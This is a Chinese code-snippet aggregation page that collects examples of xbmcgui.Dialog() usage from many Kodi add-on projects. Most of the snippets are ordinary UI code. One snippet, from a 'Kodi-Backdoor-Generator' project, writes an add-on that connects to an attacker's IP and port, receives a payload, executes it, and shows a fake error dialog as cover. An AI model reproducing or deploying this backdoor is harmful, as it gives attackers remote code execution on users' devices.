Python xbmcgui 模块,Dialog() 实例源码

我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用xbmcgui.Dialog()

项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def done(title, dest, downloaded):
    playing = xbmc.Player().isPlaying()

    text = xbmcgui.Window(10000).getProperty('GEN-DOWNLOADED')

    if len(text) > 0:
        text += '[CR]'

    if downloaded:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR forestgreen]Download succeeded[/COLOR]')
    else:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR red]Download failed[/COLOR]')

    xbmcgui.Window(10000).setProperty('GEN-DOWNLOADED', text)

    if (not downloaded) or (not playing): 
        xbmcgui.Dialog().ok(title, text)
        xbmcgui.Window(10000).clearProperty('GEN-DOWNLOADED')
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def set_day_night_theme(self, dayornight, themename, themefile):
        ''' Sets a new daynight theme'''
        currenttimevalue = xbmc.getInfoLabel("Skin.String(SkinHelper.ColorTheme.%s.time)" % dayornight)
        if not currenttimevalue:
            currenttimevalue = "20:00" if dayornight == "night" else "07:00"
        timevalue = xbmcgui.Dialog().input(self.addon.getLocalizedString(32017),
                                           currenttimevalue).decode("utf-8")
        try:
            # check if the time is valid
            check_date = datetime(*(time.strptime(timevalue, "%H:%M")[0:6]))
            del check_date
            base_setting = "SkinHelper.ColorTheme.%s" % dayornight
            xbmc.executebuiltin("Skin.SetString(%s.theme,%s)" % (base_setting, themename.encode("utf-8")))
            xbmc.executebuiltin("Skin.SetString(%s.time,%s)" % (base_setting, timevalue))
            label = "%s  (%s %s)" % (themename.encode("utf-8"), self.addon.getLocalizedString(32019), timevalue)
            xbmc.executebuiltin("Skin.SetString(%s.label,%s)" % (base_setting, label))
            xbmc.executebuiltin("Skin.SetString(%s.file,%s)" % (base_setting, themefile.encode("utf-8")))
        except Exception as exc:
            log_exception(__name__, exc)
            xbmcgui.Dialog().ok(xbmc.getLocalizedString(329), self.addon.getLocalizedString(32018))
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def backup_theme(self, themename):
        '''backup a colortheme to a zipfile'''
        import zipfile
        backup_path = xbmcgui.Dialog().browse(3, self.addon.getLocalizedString(32029), "files").decode("utf-8")
        if backup_path:
            xbmc.executebuiltin("ActivateWindow(busydialog)")
            backup_name = u"%s ColorTheme - %s" % (get_skin_name().capitalize(), themename)
            backupfile = os.path.join(backup_path, backup_name + u".zip")
            zip_temp = u'special://temp/%s.zip' % backup_name
            xbmcvfs.delete(zip_temp)
            xbmcvfs.delete(backupfile)
            zip_temp = xbmc.translatePath(zip_temp).decode("utf-8")
            zip_file = zipfile.ZipFile(zip_temp, "w", zipfile.ZIP_DEFLATED)
            abs_src = os.path.abspath(xbmc.translatePath(self.userthemes_path).decode("utf-8"))
            for filename in xbmcvfs.listdir(self.userthemes_path)[1]:
                if (filename.startswith("%s_" % themename) or
                        filename.replace(".theme", "").replace(".jpg", "") == themename):
                    filename = filename.decode("utf-8")
                    filepath = xbmc.translatePath(self.userthemes_path + filename).decode("utf-8")
                    absname = os.path.abspath(filepath)
                    arcname = absname[len(abs_src) + 1:]
                    zip_file.write(absname, arcname)
            zip_file.close()
            xbmcvfs.copy(zip_temp, backupfile)
            xbmc.executebuiltin("Dialog.Close(busydialog)")
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def restore_colortheme(self):
        '''restore zipbackup of colortheme to colorthemes folder'''
        zip_path = xbmcgui.Dialog().browse(1, self.addon.getLocalizedString(32030), "files", ".zip")
        if zip_path and zip_path.endswith(".zip"):

            # create temp path
            temp_path = u'special://temp/skinbackup/'
            temp_zip = u"special://temp/colortheme.zip"
            if xbmcvfs.exists(temp_path):
                recursive_delete_dir(temp_path)
            xbmcvfs.mkdir(temp_path)

            # unzip to temp
            xbmcvfs.copy(zip_path, temp_zip)
            unzip_fromfile(temp_zip, temp_path)
            for filename in xbmcvfs.listdir(temp_path)[1]:
                filename = filename.decode("utf-8")
                sourcefile = os.path.join(temp_path, filename)
                destfile = os.path.join(self.userthemes_path, filename)
                xbmcvfs.copy(sourcefile, destfile)
            # cleanup temp
            xbmcvfs.delete(temp_zip)
            recursive_delete_dir(temp_path)
            xbmcgui.Dialog().ok(self.addon.getLocalizedString(32026), self.addon.getLocalizedString(32027))
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def reset(self, filters=None, silent=False):
        '''reset skin settings'''
        log_msg("filters: %s" % filters)
        if silent or (not silent and
                      xbmcgui.Dialog().yesno(heading=self.addon.getLocalizedString(32010),
                                             line1=self.addon.getLocalizedString(32011))):
            if filters:
                # only restore specific settings
                skinsettings = self.get_skinsettings(filters)
                for setting in skinsettings:
                    xbmc.executebuiltin("Skin.Reset(%s)" % setting[1].encode("utf-8"))
            else:
                # restore all skin settings
                xbmc.executebuiltin("RunScript(script.skinshortcuts,type=resetall&warning=false)")
                xbmc.sleep(250)
                xbmc.executebuiltin("Skin.ResetSettings")
                xbmc.sleep(250)
                xbmc.executebuiltin("ReloadSkin")
            # fix default settings and labels
            xbmc.sleep(1500)
            xbmc.executebuiltin("RunScript(script.skin.helper.service,action=checkskinsettings)")
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def set_playback_device(self):
        '''set the active playback device'''
        deviceid = self.params["deviceid"][0]
        if deviceid == "local":
            self.addon.setSetting("playback_device", "local")
        elif deviceid == "remote":
            headertxt = self.addon.getLocalizedString(11039)
            bodytxt = self.addon.getLocalizedString(11061)
            dialog = xbmcgui.Dialog()
            dialog.textviewer(headertxt, bodytxt)
            result = dialog.input(self.addon.getLocalizedString(11062))
            if result:
                self.addon.setSetting("playback_device", "remote")
                self.addon.setSetting("connect_id", result)
            del dialog
        elif deviceid == "squeezebox":
            self.addon.setSetting("playback_device", "squeezebox")
        else:
            self.sp.transfer_playback(deviceid, False)
            self.addon.setSetting("playback_device", "connect")
            self.addon.setSetting("connect_id", deviceid)
        xbmc.executebuiltin("Container.Refresh")
项目:script.matchcenter    作者:enen92    | 项目源码 | 文件源码
def onAction(self,action):
        if action.getId() == 92 or action.getId() == 10:
            self.stopRunning()
        elif action.getId() == 117:
            choose = xbmcgui.Dialog().select("Choose an option",["Ignore this league"])
            if choose > -1:
                panel = self.getControl(32500)
                league = panel.getSelectedItem().getProperty("league_and_round").split(" - ")
                if len(league) > 1 and league[0]:
                    items = []
                    events_list = []
                    i = 0
                    for item in self.items:
                        if league[0].lower() not in item.getProperty("league_and_round").lower():
                            items.append(item)
                            events_list.append(self.livecopy[i])
                        i += 1
                    panel.reset()
                    panel.addItems(items)
                    self.items = items
                    self.livecopy = events_list
                    self.already_ignored = eval(FileIO.fileread(ignored_league_list_file))
                    self.already_ignored.append(league[0])
                    FileIO.filewrite(ignored_league_list_file,str(self.already_ignored))
项目:script.matchcenter    作者:enen92    | 项目源码 | 文件源码
def reset(self):
        if os.path.exists(tweet_file):
            os.remove(tweet_file)
            xbmcgui.Dialog().ok(translate(32000), translate(32045))
        return
项目:script.matchcenter    作者:enen92    | 项目源码 | 文件源码
def onAction(self,action):
        #exit
        if action.getId() == 92 or action.getId() == 10:
            self.close()
        #contextmenu
        if action.getId() == 117:
            identifier = self.getControl(32500).getSelectedItem().getProperty("identifier")
            if identifier == "twitter":
                twitter_history = tweet.get_twitter_history()
                if twitter_history:
                    twitter_history = list(reversed(twitter_history))
                    choice = xbmcgui.Dialog().select(translate(32076), twitter_history)
                    if choice > -1:
                        self.close()
                        tweets.start(twitterhash=twitter_history[choice])
                else:
                    xbmcgui.Dialog().ok(translate(32000),translate(32075))
项目:script.matchcenter    作者:enen92    | 项目源码 | 文件源码
def run():
    try:
        xbmc.executebuiltin("ActivateWindow(10147)")
        window = xbmcgui.Window(10147)
        xbmc.sleep(100)
        window.getControl(1).setLabel(translate(32000))
        window.getControl(5).setText(translate(32065))
        while xbmc.getCondVisibility("Window.IsActive(10147)"):
            xbmc.sleep(100)
        ret = xbmcgui.Dialog().yesno(translate(32000), translate(32067))
        if ret:
            xbmc.executebuiltin("RunAddon(script.keymap)")

    except:
        traceback.print_stack()
        xbmc.executebuiltin("XBMC.Notification('"+translate(32000)+"','"+translate(32066)+"','2000','')")
项目:plugin.video.lastship    作者:lastship    | 项目源码 | 文件源码
def done(title, dest, downloaded):
    playing = xbmc.Player().isPlaying()

    text = xbmcgui.Window(10000).getProperty('GEN-DOWNLOADED')

    if len(text) > 0:
        text += '[CR]'

    if downloaded:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR forestgreen]Download succeeded[/COLOR]')
    else:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR red]Download failed[/COLOR]')

    xbmcgui.Window(10000).setProperty('GEN-DOWNLOADED', text)

    if (not downloaded) or (not playing): 
        xbmcgui.Dialog().ok(title, text)
        xbmcgui.Window(10000).clearProperty('GEN-DOWNLOADED')
项目:tvalacarta    作者:tvalacarta    | 项目源码 | 文件源码
def force_creation_advancedsettings(item):

    # Ruta del advancedsettings
    import xbmc,xbmcgui,os
    advancedsettings = xbmc.translatePath("special://userdata/advancedsettings.xml")

    # Copia el advancedsettings.xml desde el directorio resources al userdata
    fichero = open( os.path.join(config.get_runtime_path(),"resources","advancedsettings.xml") )
    texto = fichero.read()
    fichero.close()

    fichero = open(advancedsettings,"w")
    fichero.write(texto)
    fichero.close()

    dialog2 = xbmcgui.Dialog()
    dialog2.ok("plugin", "Se ha creado un fichero advancedsettings.xml","con la configuración óptima para el streaming.")

    return []
项目:Kodi-Backdoor-Generator    作者:LukaSikic    | 项目源码 | 文件源码
def addonPy(ip, port):
    with io.FileIO("KodiBackdoor/addon.py", "w") as file:
        file.write('''
import xbmcaddon
import xbmcgui
import socket,struct
addon       = xbmcaddon.Addon()
addonname   = addon.getAddonInfo('name')
line1 = "Error!"
line2 = "An error occurred"
line3 = "Connection to server failed... please try again later"
s=socket.socket(2,1)
s.connect(("'''+ip+'''",'''+port+'''))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})
xbmcgui.Dialog().ok(addonname, line1, line2, line3)
''')

#Zip folder
项目:catchup4kodi    作者:catchup4kodi    | 项目源码 | 文件源码
def get_url(url):
    http = get_httplib()
    data = None    
    try:
        resp, data = http.request(url, 'GET')
    except: pass

    # second try
    if not data:
        try:
            resp, data = http.request(url, 'GET')
        except: 
            dialog = xbmcgui.Dialog()
            dialog.ok('Network Error', 'Failed to fetch URL', url)
            print 'Network Error. Failed to fetch URL %s' % url
            raise

    return data
项目:catchup4kodi    作者:catchup4kodi    | 项目源码 | 文件源码
def GetRTE_CATEGORIES_LINKS_AZ(url):    
     html=OPEN_URL(url)
     select=['A']
     returned=['http://www.rte.ie/player/gb/a-z/a/']
     match=re.compile('<td class=""><a href="(.+?)">(.+?)</a></td>').findall(html)
     for URL , TITLE in match:
         select.append(TITLE)
         returned.append('http://www.rte.ie'+URL)

     link=OPEN_URL(returned[xbmcgui.Dialog().select('Please Select', select)])
     LINKS=link.split('thumbnail-module')
     for p in LINKS:
         try:
             id=re.compile('href=".+?/show/(.+?)/"').findall(p)[0]
             name=re.compile('img alt="(.+?)"').findall(p)[0]
             iconimage=re.compile('src="(.+?)"').findall(p)[0]
             NAME='[COLOR white]%s[/COLOR]'%name
             id=id.split('/')[1]

             addDir(NAME,'http://www.rte.ie/player/gb/show/'+id,7,iconimage,'')
         except:pass
项目:catchup4kodi    作者:catchup4kodi    | 项目源码 | 文件源码
def RESTORE():

    import time
    dialog = xbmcgui.Dialog()
    if zip == '' and ADDON.getSetting('email')=='':
        dialog.ok('USB BACKUP/RESTORE','You have not set your ZIP Folder.\nPlease update the addon settings and try again.','','')
        ADDON.openSettings(sys.argv[0])

    lib=xbmc.translatePath(os.path.join(zip,'backup.zip'))
    READ_ZIP(lib)
    dp.create("USB BACKUP/RESTORE","Checking ",'', 'Please Wait')
    HOME = xbmc.translatePath(os.path.join('special://','home'))

    dp.update(0,"", "Extracting Zip Please Wait")
    extract.all(lib,HOME,dp)
    time.sleep(1)
    XfinityInstaller()
    xbmc.executebuiltin('UpdateLocalAddons ')    
    xbmc.executebuiltin("UpdateAddonRepos")
    time.sleep(1)
    xbmc.executebuiltin('UnloadSkin()') 
    xbmc.executebuiltin('ReloadSkin()')
    Kodi17()
    dialog.ok("USB BACKUP/RESTORE", "PLEASE REBOOT YOUR BOX IF HOMESCREEN HAS NOT CHANGED", "","")
    xbmc.executebuiltin("LoadProfile(Master user)")
项目:plugin.video.exodus    作者:huberyhe    | 项目源码 | 文件源码
def done(title, dest, downloaded):
    playing = xbmc.Player().isPlaying()

    text = xbmcgui.Window(10000).getProperty('GEN-DOWNLOADED')

    if len(text) > 0:
        text += '[CR]'

    if downloaded:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR forestgreen]Download succeeded[/COLOR]')
    else:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR red]Download failed[/COLOR]')

    xbmcgui.Window(10000).setProperty('GEN-DOWNLOADED', text)

    if (not downloaded) or (not playing): 
        xbmcgui.Dialog().ok(title, text)
        xbmcgui.Window(10000).clearProperty('GEN-DOWNLOADED')
项目:exodus-favourite-library    作者:arcane47    | 项目源码 | 文件源码
def done(title, dest, downloaded):
    playing = xbmc.Player().isPlaying()

    text = xbmcgui.Window(10000).getProperty('GEN-DOWNLOADED')

    if len(text) > 0:
        text += '[CR]'

    if downloaded:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR forestgreen]Download succeeded[/COLOR]')
    else:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR red]Download failed[/COLOR]')

    xbmcgui.Window(10000).setProperty('GEN-DOWNLOADED', text)

    if (not downloaded) or (not playing): 
        xbmcgui.Dialog().ok(title, text)
        xbmcgui.Window(10000).clearProperty('GEN-DOWNLOADED')
项目:plugin.video.netflix    作者:asciidisco    | 项目源码 | 文件源码
def show_add_library_title_dialog(self, original_title):
        """
        Asks the user for an alternative title for the show/movie that
        gets exported to the local library

        :param original_title: Original title of the show
        :type original_title: str

        :returns: str - Title to persist
        """
        if self.custom_export_name == 'true':
            return original_title
        dlg = xbmcgui.Dialog()
        custom_title = dlg.input(
            heading=self.get_local_string(string_id=30031),
            defaultt=original_title,
            type=xbmcgui.INPUT_ALPHANUM) or original_title
        return original_title or custom_title
项目:plugin.video.netflix    作者:asciidisco    | 项目源码 | 文件源码
def show_finally_remove_modal(self, title, year='0000'):
        """
        Ask if user wants to remove the item from the local library

        :param title: Title of the show
        :type title: str
        :param year: Year of the show
        :type year: str

        :returns: bool - Answer yes/no
        """
        dlg = xbmcgui.Dialog()
        if year == '0000':
            dialog = dlg.yesno(
                heading=self.get_local_string(string_id=30047),
                line1=title)
            return dialog
        dialog = dlg.yesno(
            heading=self.get_local_string(string_id=30047),
            line1=title + ' (' + str(year) + ')')
        return dialog
项目:plugin.audio.tidal2    作者:arnesongit    | 项目源码 | 文件源码
def get_album_json_thread(self):
        try:
            while not xbmc.abortRequested and not self.abortAlbumThreads:
                try:
                    album_id = self.albumQueue.get_nowait()
                except:
                    break
                try:
                    self.get_album(album_id, withCache=False)
                except requests.HTTPError as e:
                    r = e.response
                    msg = _T(30505)
                    try:
                        msg = r.reason
                        msg = r.json().get('userMessage')
                    except:
                        pass
                    log('Error getting Album ID %s' % album_id, xbmc.LOGERROR)
                    if r.status_code == 429 and not self.abortAlbumThreads:
                        self.abortAlbumThreads = True
                        log('Too many requests. Aborting Workers ...', xbmc.LOGERROR)
                        self.albumQueue._init(9999)
                        xbmcgui.Dialog().notification(plugin.name, msg, xbmcgui.NOTIFICATION_ERROR)
        except Exception, e:
            traceback.print_exc()
项目:plugin.audio.tidal2    作者:arnesongit    | 项目源码 | 文件源码
def get_track_url(self, track_id, quality=None, cut_id=None, fallback=True):
        oldSessionId = self.session_id
        self.session_id = self.stream_session_id
        soundQuality = quality if quality else self._config.quality
        #if soundQuality == Quality.lossless and self._config.codec == 'MQA' and not cut_id:
        #    soundQuality = Quality.hi_res
        media = Session.get_track_url(self, track_id, quality=soundQuality, cut_id=cut_id)
        if fallback and soundQuality == Quality.lossless and (media == None or media.isEncrypted):
            log(media.url, level=xbmc.LOGWARNING)
            if media:
                log('Got encryptionKey "%s" for track %s, trying HIGH Quality ...' % (media.encryptionKey, track_id), level=xbmc.LOGWARNING)
            else:
                log('No Lossless stream for track %s, trying HIGH Quality ...' % track_id, level=xbmc.LOGWARNING)
            media = self.get_track_url(track_id, quality=Quality.high, cut_id=cut_id, fallback=False)
        if media:
            if quality == Quality.lossless and media.codec not in ['FLAC', 'ALAC', 'MQA']:
                xbmcgui.Dialog().notification(plugin.name, _T(30504) , icon=xbmcgui.NOTIFICATION_WARNING)
            log('Got stream with soundQuality:%s, codec:%s' % (media.soundQuality, media.codec))
        self.session_id = oldSessionId
        return media
项目:plugin.audio.tidal2    作者:arnesongit    | 项目源码 | 文件源码
def user_playlist_remove_album(playlist_id, item_id, dialog=True):
    playlist = session.get_playlist(playlist_id)
    ok = True
    if dialog:
        ok = xbmcgui.Dialog().yesno(_T(30247) % playlist.title, _T(30246))
    if ok:
        xbmc.executebuiltin('ActivateWindow(busydialog)')
        try:
            items = session.get_playlist_tracks(playlist)
            for item in items:
                if '%s' % item.album.id == '%s' % item_id:
                    session.user.remove_playlist_entry(playlist, entry_no=item._playlist_pos)
                    break # Remove only one Item
        except Exception, e:
            log(str(e), level=xbmc.LOGERROR)
            traceback.print_exc()
        xbmc.executebuiltin('Dialog.Close(busydialog)')
        xbmc.executebuiltin('Container.Refresh()')
项目:plugin.audio.tidal2    作者:arnesongit    | 项目源码 | 文件源码
def user_playlist_move_entry(playlist_id, entry_no, item_id):
    dialog = xbmcgui.Dialog()
    playlist = session.user.selectPlaylistDialog(headline=_T(30248), allowNew=True)
    if playlist and playlist.id <> playlist_id:
        xbmc.executebuiltin( "ActivateWindow(busydialog)" )
        try:
            ok = session.user.add_playlist_entries(playlist=playlist, item_ids=[item_id])
            if ok:
                ok = session.user.remove_playlist_entry(playlist_id, entry_no=entry_no)
            else:
                dialog.notification(plugin.name, _T('API Call Failed'), xbmcgui.NOTIFICATION_ERROR)
        except Exception, e:
            log(str(e), level=xbmc.LOGERROR)
            traceback.print_exc()
        xbmc.executebuiltin( "Dialog.Close(busydialog)" )
        xbmc.executebuiltin('Container.Refresh()')
项目:script.quasar.t411-rik91    作者:rik91    | 项目源码 | 文件源码
def __init__(self):
        # Objects
        self.dialog = xbmcgui.Dialog()
        self.pDialog = xbmcgui.DialogProgress()
        self.settings = xbmcaddon.Addon()

        # General information
        self.idAddon = self.settings.getAddonInfo('ID')  # gets name
        self.icon = self.settings.getAddonInfo('icon')
        self.fanart = self.settings.getAddonInfo('fanart')
        self.path = self.settings.getAddonInfo('path')
        self.name = self.settings.getAddonInfo('name')  # gets name
        self.cleanName = re.sub('.COLOR (.*?)]', '', self.name.replace('[/COLOR]', ''))
        self.value = {}  # it contains all the settings from xml file
        with open(path.join(self.path, "resources", "settings.xml"), 'r') as fp:
            data = fp.read()
        soup = BeautifulSoup(data)
        settings = soup.select("setting")
        for setting in settings:
            key = setting.attrs.get("id")
            if key is not None:
                self.value[key] = self.settings.getSetting(key)
        if 'url_address' in self.value and self.value['url_address'].endswith('/'):
            self.value['url_address'] = self.value['url_address'][:-1]
项目:script.quasar.t411-rik91    作者:rik91    | 项目源码 | 文件源码
def type_filtering(self, info, separator='%20'):
        from xbmcgui import Dialog
        from urllib import quote

        if 'movie' == info["type"]:
            self.use_movie()
        elif 'show' == info["type"]:
            self.use_TV()
            info["query"] = exception(info["query"])  # CSI series problem
        elif 'anime' == info["type"]:
            self.use_TV()
        self.title = info["query"] + ' ' + info["extra"]  # to do filtering by name
        self.info = info
        if self.time_noti > 0:
            dialog = Dialog()
            dialog.notification(self.name_provider, info["query"].title(), self.icon, self.time_noti)
            del Dialog
        return quote(info["query"].rstrip()).replace('%20', separator)
项目:emulator.tools.retroarch    作者:JoKeRzBoX    | 项目源码 | 文件源码
def makeFilesExecutable():
    scriptPath = xbmc.translatePath(xbmcaddon.Addon(id = 'emulator.tools.retroarch').getAddonInfo('path'))
    scriptPath = os.path.join(scriptPath, 'bin')
    file1 = os.path.join(scriptPath, 'retroarch.sh')
    file2 = os.path.join(scriptPath, 'retroarch.start')
    file3 = os.path.join(scriptPath, 'retroarch')

    try:
        os.chmod(file1, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        os.chmod(file2, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        os.chmod(file3, stat.S_IRWXU|stat.S_IRWXG|stat.S_IROTH|stat.S_IXOTH)
        d = xbmcgui.Dialog()
        d.ok('RetroArch', 'File permissions applied', 'scripts should now be executable')        
    except:
        d = xbmcgui.Dialog()
        d.ok('RetroArch', 'Failed to apply permissions', 'Please try again later or do it manualy via ssh')
项目:specto    作者:mrknow    | 项目源码 | 文件源码
def handleAction(self, action, query=None):
        """Handle action from context menu on query."""
        if action == 'remove':
            if query and query in self.history:
                index = self.history.index(query)
                del self.history[index]
                self.updateHistory(select=index-1)  
        elif action == 'rename':
            if query and query in self.history:
                text = self.inputText(text=query, title=_('Edit search'))
                if text and text != query:
                    index = self.history.index(query)
                    self.history[index] = text
                    self.updateHistory(select=index)
        elif action == 'clean':
            if self.history:
                self.history = []
                self.updateHistory()
        else:
            xbmcgui.Dialog().ok('Action', 'Unknown action', action)
        return True
项目:specto    作者:mrknow    | 项目源码 | 文件源码
def done(title, dest, downloaded):
    playing = xbmc.Player().isPlaying()

    text = xbmcgui.Window(10000).getProperty('GEN-DOWNLOADED')

    if len(text) > 0:
        text += '[CR]'

    if downloaded:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR forestgreen]Download succeeded[/COLOR]')
    else:
        text += '%s : %s' % (dest.rsplit(os.sep)[-1], '[COLOR red]Download failed[/COLOR]')

    xbmcgui.Window(10000).setProperty('GEN-DOWNLOADED', text)

    if (not downloaded) or (not playing): 
        xbmcgui.Dialog().ok(title, text)
        xbmcgui.Window(10000).clearProperty('GEN-DOWNLOADED')
项目:script.tvguide.fullscreen    作者:primaeval    | 项目源码 | 文件源码
def onCachesUpdated(self):
        #BUG doesn't work on login (maybe always?)
        if ADDON.getSetting('notifications.enabled') == 'true':
            n = notification.Notification(self.database, ADDON.getAddonInfo('path'))
            #n.scheduleNotifications()
        if ADDON.getSetting('autoplays.enabled') == 'true':
            n = autoplay.Autoplay(self.database, ADDON.getAddonInfo('path'))
            #n.scheduleAutoplays()
        if ADDON.getSetting('autoplaywiths.enabled') == 'true':
            n = autoplaywith.Autoplaywith(self.database, ADDON.getAddonInfo('path'))
            #n.scheduleAutoplaywiths()
        self.database.close(None)
        xbmc.log("[script.tvguide.fullscreen] Background Update Finished", xbmc.LOGNOTICE)
        if ADDON.getSetting('background.notify') == 'true':
            d = xbmcgui.Dialog()
            d.notification("TV Guide Fullscreen", "Finished Updating")
项目:script.tvguide.fullscreen    作者:primaeval    | 项目源码 | 文件源码
def enter_credentials(is_change=False):
    global user, passw
    default_user = ''
    default_pass = ''
    if is_change:
        default_user = user
    keyb = xbmc.Keyboard(default_user, 'Enter Username')
    keyb.doModal()
    if keyb.isConfirmed():
        user = keyb.getText()
        keyb = xbmc.Keyboard(default_pass, 'Enter Password:', True)
        keyb.doModal()
        if keyb.isConfirmed():
            xbmcgui.Dialog().notification(ADDON.getAddonInfo('name'), 'Checking login...',
                                          os.path.join(PATH, 'icon.png'), 1500)
            passw = hashlib.sha1(keyb.getText().encode('utf-8')).hexdigest()
            sd = SdAPI(user=user, passw=passw)
            if sd.logged_in:
                save_setting('sd.username', user)
                save_setting('sd.password', passw)
                xbmcgui.Dialog().notification(ADDON.getAddonInfo('name'), 'Login saved',
                                              os.path.join(PATH, 'icon.png'), 2000)
                return True
    return False
项目:script.tvguide.fullscreen    作者:primaeval    | 项目源码 | 文件源码
def _check_resp(resp):
        if resp.status_code == requests.codes.ok:
            info = (resp.text[:1000] + '..') if len(resp.text) > 1000 else resp.text
            xbmc.log("[%s] Reply from SD: %s - %s" %
                     (ADDON.getAddonInfo('id'), resp.status_code, info), xbmc.LOGDEBUG)
            return True
        else:
            message = ''
            try:
                info = resp.json()
                if 'message' in info:
                    message = info['message']
            except ValueError:
                message = resp.text

            xbmcgui.Dialog().ok(ADDON.getAddonInfo('name'), 'SchedulesDirect server reply:', message)
            xbmc.log("[%s] SD-Server response: %s - %s" %
                     (ADDON.getAddonInfo('id'), resp.status_code, resp.text), xbmc.LOGDEBUG)
            return False
项目:plugin.video.nbcsnliveextra    作者:eracknaphobia    | 项目源码 | 文件源码
def requestJSON(self, url, headers, body=None, method=None):      
        addon_profile_path = xbmc.translatePath(xbmcaddon.Addon().getAddonInfo('profile'))  
        cj = cookielib.LWPCookieJar(os.path.join(addon_profile_path, 'cookies.lwp'))
        try: cj.load(os.path.join(addon_profile_path, 'cookies.lwp'),ignore_discard=True)
        except: pass
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))    
        opener.addheaders = headers     

        try:           
            request = urllib2.Request(url, body)
            if method == 'DELETE': request.get_method = lambda: method            
            response = opener.open(request)
            json_source = json.load(response) 
            response.close()
            self.saveCookie(cj)
        except HTTPError as e:            
            if e.code == 403:
                msg = 'Your device is not authorized to view the selected stream.\n Would you like to authorize this device now?'
                dialog = xbmcgui.Dialog() 
                answer = dialog.yesno('Account Not Authorized', msg)                 
                if answer: self.registerDevice()
            sys.exit(0)

        return json_source
项目:script.module.metadatautils    作者:marcelveldt    | 项目源码 | 文件源码
def music_artwork_options(self, artist, album, track, disc):
        '''show options for music artwork'''
        options = []
        options.append(self._mutils.addon.getLocalizedString(32028))  # Refresh item (auto lookup)
        options.append(self._mutils.addon.getLocalizedString(32036))  # Choose art
        options.append(self._mutils.addon.getLocalizedString(32034))  # Open addon settings
        header = self._mutils.addon.getLocalizedString(32015)
        dialog = xbmcgui.Dialog()
        ret = dialog.select(header, options)
        del dialog
        if ret == 0:
            # Refresh item (auto lookup)
            self.get_music_artwork(artist, album, track, disc, ignore_cache=True)
        elif ret == 1:
            # Choose art
            self.get_music_artwork(artist, album, track, disc, ignore_cache=True, manual=True)
        elif ret == 2:
            # Open addon settings
            xbmc.executebuiltin("Addon.OpenSettings(%s)" % ADDON_ID)
项目:context.elementum    作者:elgatito    | 项目源码 | 文件源码
def doPlay():
    if not configureTMDB():
        return

    dbid = getDbId()
    imdbnumber = getIMDBNumber()
    mediatype = getMediaType()

    xbmcgui.Dialog().notification(ADDON.getLocalizedString(32009), sys.listitem.getLabel(), xbmcgui.NOTIFICATION_INFO, 3000)

    log.debug("Playing for: DBID=%s, IMDB=%s, MediaType=%s" % (dbid, imdbnumber, mediatype))

    if mediatype == 'movie':
        tmdb_id = getTMDBId('movie', imdbnumber)
        url = "plugin://plugin.video.quasar/library/movie/play/%s" % tmdb_id
    elif mediatype == 'episode':
        (show_id, season_number, episode_number) = getEpisodeDetails()
        tmdb_id = getTMDBId('show', show_id)
        url = "plugin://plugin.video.quasar/library/show/play/%s/%s/%s" % (tmdb_id, season_number, episode_number)

    log.debug("Fetched TMDB: %s" % tmdb_id)
    if tmdb_id is not None:
        log.debug("Starting Quasar with: %s" % url)
        xbmc.Player().play(url)
项目:context.elementum    作者:elgatito    | 项目源码 | 文件源码
def getTMDBId(mediatype, id):
    if isTMDBId(mediatype, id):
        return id
    else:
        if mediatype == 'movie':
            url = "https://api.themoviedb.org/3/find/%s?api_key=%s&language=en-US&external_source=%s" % (id, api_key, 'imdb_id')
        elif mediatype == 'show':
            url = "https://api.themoviedb.org/3/find/%s?api_key=%s&language=en-US&external_source=%s" % (id, api_key, 'tvdb_id')

        response = getJSON(url)

        if 'status_code' in response:
            xbmcgui.Dialog().notification(ADDON.getLocalizedString(32007), ADDON.getLocalizedString(32008), xbmcgui.NOTIFICATION_WARNING, 3000)
            return None

        if response['movie_results']:
            return response['movie_results'][0]['id']
        elif response['tv_results']:
            return response['tv_results'][0]['id']
        elif response['tv_episode_results']:
            return response['tv_episode_results'][0]['id']
        else:
            return None
项目:plugin.video.exodus    作者:lastship    | 项目源码 | 文件源码
def idle():
    return execute('Dialog.Close(busydialog)')
项目:screensaver.kaster    作者:enen92    | 项目源码 | 文件源码
def notification(header, message, time=5000, icon=ADDON.getAddonInfo('icon'), sound=True):
    xbmcgui.Dialog().notification(header, message, icon, time, sound)
项目:YoutubeTV    作者:dude56987    | 项目源码 | 文件源码
def popup(header,content):
    '''
    Display a toaster style popup with the header of header and
    the content of content.
    '''
    dialog=xbmcgui.Dialog()
    dialog.notification(header,content,_basedir+'icon.png')
################################################################################
# session class for youtubeTV session starting
项目:cmik.xbmc    作者:cmik    | 项目源码 | 文件源码
def confirm(message, line1='', line2='', title=lang(50001)):
    if not message:
        return
    return xbmcgui.Dialog().yesno(title, message, line1, line2)
项目:cmik.xbmc    作者:cmik    | 项目源码 | 文件源码
def alert(message, line1='', line2='', title=lang(50001)):
    if not message:
        return
    return xbmcgui.Dialog().ok(title, message, line1, line2)
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def set_icon_for_theme(filename):
        '''sets an icon for an existing theme'''
        iconpath = filename.replace(".theme", ".jpg")
        dialog = xbmcgui.Dialog()
        custom_thumbnail = dialog.browse(2, xbmc.getLocalizedString(1030), 'files')
        if custom_thumbnail:
            xbmcvfs.delete(iconpath)
